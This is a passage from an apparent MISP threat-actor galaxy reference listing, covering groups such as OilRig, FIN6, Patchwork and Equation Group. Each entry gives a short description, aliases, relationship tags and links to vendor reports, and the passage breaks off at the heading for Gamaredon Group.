https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/
https://attack.mitre.org/groups/G0038/

HummingBad

This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder

The tag is: *misp-galaxy:threat-actor="HummingBad"*

Table 18173. Table References

Links
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

QUILTED TIGER

Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are

generally caught through spear-phishing or watering hole attacks.

The tag is: *misp-galaxy:threat-actor="QUILTED TIGER"*

QUILTED TIGER is also known as:

- Chinastrats
- Patchwork
- Monsoon
- Sarit
- Dropping Elephant
- APT-C-09
- ZINC EMERSON
- ATK11
- G0040
- Orange Athos
- Thirsty Gemini

View relationships graph

QUILTED TIGER has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="MONSOON - G0042" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-09" with estimative-language:likelihood-probability="likely"

Table 18174. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=09308982-77bd-41e0-8269-f2cc9ce3266e&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign
https://www.cymmetria.com/patchwork-targeted-attack/
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://attack.mitre.org/groups/G0040/
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

https://securelist.com/the-dropping-elephant-actor/75328/
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://www.secureworks.com/research/threat-profiles/zinc-emerson
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait
https://unit42.paloaltonetworks.com/atoms/thirstygemini/

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary's primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People's Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above.

The tag is: *misp-galaxy:threat-actor="Scarlet Mimic"*

Scarlet Mimic is also known as:

- G0029
- Golfing Taurus

View relationships graph

Scarlet Mimic has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029" with estimative-language:likelihood-probability="likely"

Table 18175. Table References

Links

https://attack.mitre.org/wiki/Groups
https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/groups/G0029/
https://unit42.paloaltonetworks.com/atoms/golfing-taurus/

Poseidon Group

Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.

The tag is: *misp-galaxy:threat-actor="Poseidon Group"*

Poseidon Group is also known as:

- G0033

View relationships graph

Poseidon Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033" with estimative-language:likelihood-probability="likely"

Table 18176. Table References

Links
https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/
https://attack.mitre.org/wiki/Groups
https://attack.mitre.org/groups/G0033/

DragonOK

Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.

The tag is: *misp-galaxy:threat-actor="DragonOK"*

DragonOK is also known as:

- Moafee
- BRONZE OVERBROOK
- G0017

- G0002
- Shallow Taurus

View relationships graph

DragonOK has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Moafee - G0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="DragonOK - G0017" with estimative-language:likelihood-probability="likely"

Table 18177. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://attack.mitre.org/wiki/Groups
https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor
https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf
https://www.cfr.org/interactive/cyber-operations/moafee
https://unit42.paloaltonetworks.com/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://unit42.paloaltonetworks.com/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/
https://www.phnompenhpost.com/national/kingdom-targeted-new-malware
https://attack.mitre.org/groups/G0017/
https://attack.mitre.org/groups/G0002/
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/

ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or

from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to 'Sauron' in the Lua scripts.

The tag is: *misp-galaxy:threat-actor="ProjectSauron"*

ProjectSauron is also known as:

- Strider
- Sauron
- Project Sauron
- G0041

View relationships graph

ProjectSauron has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Strider - G0041" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□□ - APT-C-16" with estimative-language:likelihood-probability="likely"

Table 18178. Table References

Links
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/
https://www.cfr.org/interactive/cyber-operations/project-sauron
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf
https://attack.mitre.org/groups/G0041/

TA530

TA530, who we previously examined in relation to large-scale personalized phishing campaigns

The tag is: *misp-galaxy:threat-actor="TA530"*

Table 18179. Table References

Links

https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

GCMAN

GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.

The tag is: *misp-galaxy:threat-actor="GCMAN"*

GCMAN is also known as:

- G0036

View relationships graph

GCMAN has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="GCMAN - G0036" with estimative-language:likelihood-probability="likely"

Table 18180. Table References

Links
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/
https://attack.mitre.org/groups/G0036/

APT22

Suckfly is a China-based threat group that has been active since at least 2014

The tag is: *misp-galaxy:threat-actor="APT22"*

APT22 is also known as:

- G0039
- Suckfly
- BRONZE OLIVE
- Group 46

View relationships graph

APT22 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Suckfly - G0039" with estimative-language:likelihood-probability="likely"

Table 18181. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a60af1f-7786-446c-976b-7c71a16e9d3b&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://attack.mitre.org/groups/G0039/
https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab
http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild
https://www.secureworks.com/research/threat-profiles/bronze-olive
https://www.mandiant.com/resources/insights/apt-groups

FIN6

FIN is a group targeting financial assets including assets able to do financial transaction including PoS.

The tag is: *misp-galaxy:threat-actor="FIN6"*

FIN6 is also known as:

- SKELETON SPIDER
- ITG08
- MageCart Group 6
- White Giant
- GOLD FRANKLIN
- ATK88
- G0037
- Camouflage Tempest
- TA4557
- Storm-0538

View relationships graph

FIN6 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN6 - G0037" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="FrameworkPOS - S0503" with estimative-

language:likelihood-probability="almost-certain"

- similar: misp-galaxy:microsoft-activity-group="Camouflage Tempest" with estimative-language:likelihood-probability="likely"

Table 18182. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://attack.mitre.org/groups/G0037/
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
http://www.secureworks.com/research/threat-profiles/gold-franklin
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta4557-targets-recruiters-directly-email
https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers

Libyan Scorpions

Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.

The tag is: *misp-galaxy:threat-actor="Libyan Scorpions"*

TeamXRat

The tag is: *misp-galaxy:threat-actor="TeamXRat"*

TeamXRat is also known as:

- CorporacaoXRat
- CorporationXRat

Table 18183. Table References

Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

OilRig

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply

chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

-Organized evasion testing used the during development of their tools. -Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. -Custom web-shells and backdoors used to persistently access servers.

OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

The tag is: *misp-galaxy:threat-actor="OilRig"*

OilRig is also known as:

- Twisted Kitten
- Cobalt Gypsy
- Crambus
- Helix Kitten
- APT 34
- APT34
- IRN2
- ATK40
- G0049
- Evasive Serpens

- Hazel Sandstorm
- EUROPIUM
- TA452
- Earth Simnavaz

View relationships graph

OilRig has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT34 - G0057" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Hazel Sandstorm" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-ics-groups="OilRig" with estimative-language:likelihood-probability="almost-certain"

Table 18184. Table References

Links
https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability
https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/
https://unit42.paloaltonetworks.com/unit42-introducing-the-adversary-playbook-first-up-oilrig/

https://unit42.paloaltonetworks.com/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/

https://unit42.paloaltonetworks.com/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/

https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/

https://unit42.paloaltonetworks.com/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/

https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

https://unit42.paloaltonetworks.com/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

https://unit42.paloaltonetworks.com/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

https://unit42.paloaltonetworks.com/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

https://pan-unit42.github.io/playbook_viewer/

https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

https://www.gov.il/BlobFolder/reports/attack_il/he/CERT-IL-ALERT-W-120.pdf

https://www.forbes.com/sites/thomasbrewster/2017/02/15/oilrig-iran-hackers-cyberespionage-us-turkey-saudi-arabia/#56749aa2468a

https://raw.githubusercontent.com/pan-unit42/playbook_viewer/master/playbook_json/oilrig.json

https://www.cfr.org/interactive/cyber-operations/oilrig

https://www.cfr.org/interactive/cyber-operations/apt-34

https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/

https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail

https://web.archive.org/web/20120818235442/https://www.symantec.com/connect/blogs/shamoon-attacks

https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ad6f8259-2bb4-4f7f-b8e1-710b35a4cbed&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

https://www.clearskysec.com/oilrig/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/
https://attack.mitre.org/groups/G0049/
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://www.microsoft.com/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/
https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html
https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/

Volatile Cedar

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: *misp-galaxy:threat-actor="Volatile Cedar"*

Volatile Cedar is also known as:

- Lebanese Cedar
- DeftTorero

View relationships graph

Volatile Cedar has relationships with:

- uses: misp-galaxy:tool="Explosive" with estimative-language:likelihood-probability="very-likely"

Table 18185. Table References

Links
https://blog.checkpoint.com/2015/03/31/volatilecedar/
https://blog.checkpoint.com/2015/06/09/new-data-volatile-cedar/
https://securelist.com/sinkholing-volatile-cedar-dga-infrastructure/69421/
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/

Dancing Salome

Dancing Salome is the Kaspersky codename for an APT actor with a primary focus on ministries of foreign affairs, think tanks, and Ukraine. What makes Dancing Salome interesting and relevant is the attacker's penchant for leveraging HackingTeam RCS implants compiled after the public breach.

The tag is: *misp-galaxy:threat-actor="Dancing Salome"*

Table 18186. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:threat-actor="TERBIUM"*

View relationships graph

TERBIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 18187. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called "Gaza Hackers Team." We refer to this campaign as "Molerats."

The tag is: *misp-galaxy:threat-actor="Molerats"*

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Gaza Cybergang
- Operation Molerats
- Extreme Jackal
- Moonlight
- ALUMINUM SARATOGA
- G0021
- BLACKSTEM

View relationships graph

Molerats has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Molerats - G0021" with estimative-language:likelihood-probability="likely"

Table 18188. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east/
https://ti.360.net/blog/articles/suspected-molerats-new-attack-in-the-middle-east-en/
https://middle-east-online.com/en/cyber-war-gaza-hackers-deface-israel-fire-service-website
https://www.fireeye.com/blog/threat-research/2014/06/molerats-here-for-spring.html
https://pwc.blogs.com/cyber_security_updates/2015/04/attacks-against-israeli-palestinian-interests.html
https://www.vectra.ai/blogpost/moonlight-middle-east-targeted-attacks
https://securelist.com/gaza-cybergang-wheres-your-ir-team/72283/
https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf
https://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf
https://securelist.com/gaza-cybergang-updated-2017-activity/82765/
https://www.kaspersky.com/blog/gaza-cybergang/26363/
https://attack.mitre.org/groups/G0021/
https://www.secureworks.com/research/threat-profiles/aluminum-saratoga

https://services.google.com/fh/files/misc/tool-of-first-resort-israel-hamas-war-cyber.pdf

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:threat-actor="PROMETHIUM"*

PROMETHIUM is also known as:

- StrongPity
- G0056

View relationships graph

PROMETHIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 18189. Table References

Links
https://www.microsoft.com/security/blog/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.virusbulletin.com/conference/vb2016/abstracts/last-minute-paper-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users
https://attack.mitre.org/groups/G0056/

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:threat-actor="NEODYMIUM"*

NEODYMIUM is also known as:

- G0055

View relationships graph

NEODYMIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 18190. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://attack.mitre.org/groups/G0055/

Packrat

A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.

The tag is: *misp-galaxy:threat-actor="Packrat"*

Table 18191. Table References

Links
https://citizenlab.ca/2015/12/packrat-report/

Cadelle

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: *misp-galaxy:threat-actor="Cadelle"*

Table 18192. Table References

Links

https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

PassCV

The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term 'PassCV' to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We'd like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they've begun development on.

The tag is: *misp-galaxy:threat-actor="PassCV"*

Table 18193. Table References

Links
https://threatvector.cylance.com/en_us/home/digitally-signed-malware-targeting-gaming-companies.html

Sath-ı Müdafaa

A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: *misp-galaxy:threat-actor="Sath-ı Müdafaa"*

Aslan Neferler Tim

Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group's site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey's policies or leadership, and purports to act in defense of Islam

The tag is: *misp-galaxy:threat-actor="Aslan Neferler Tim"*

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk

Ayyıldız Tim

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: *misp-galaxy:threat-actor="Ayyıldız Tim"*

Ayyıldız Tim is also known as:

- Crescent and Star

TurkHackTeam

Founded in 2004, Turkhackteam is one of Turkey's oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam's forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

The tag is: *misp-galaxy:threat-actor="TurkHackTeam"*

TurkHackTeam is also known as:

- Turk Hack Team

Equation Group

The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame

The tag is: *misp-galaxy:threat-actor="Equation Group"*

Equation Group is also known as:

- Tilded Team
- EQGRP
- G0020

View relationships graph

Equation Group has relationships with:

- similar: misp-galaxy:threat-actor="Longhorn" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="EquationDrug" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tool="DoubleFantasy" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tool="TripleFantasy" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tool="GrayFish" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tool="Fanny" with estimative-language:likelihood-probability="very-likely"
- uses: misp-galaxy:tool="EquationLaser" with estimative-language:likelihood-probability="very-likely"

Table 18194. Table References

Links
https://en.wikipedia.org/wiki/Equation_Group
https://www.cfr.org/interactive/cyber-operations/equation-group
https://arstechnica.com/information-technology/2015/02/how-omnipotent-hackers-tied-to-the-nsa-hid-for-14-years-and-were-found-at-last/
https://www.dropbox.com/s/buxkfotx1kei0ce/Whitepaper%20Shadow%20Broker%20-%20Equation%20Group%20Hack.pdf?dl=0
https://en.wikipedia.org/wiki/Stuxnet
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
https://attack.mitre.org/groups/G0020/

Greenbug

Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.

The tag is: *misp-galaxy:threat-actor="Greenbug"*

View relationships graph

Greenbug has relationships with:

- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 18195. Table References

Links

https://web.archive.org/web/20190331181353/https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://unit42.paloaltonetworks.com/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/
https://threatpost.com/shamoon-collaborator-greenbug-adopts-new-communication-tool/125383/
https://www.clearskysec.com/greenbug/

Gamaredon Group

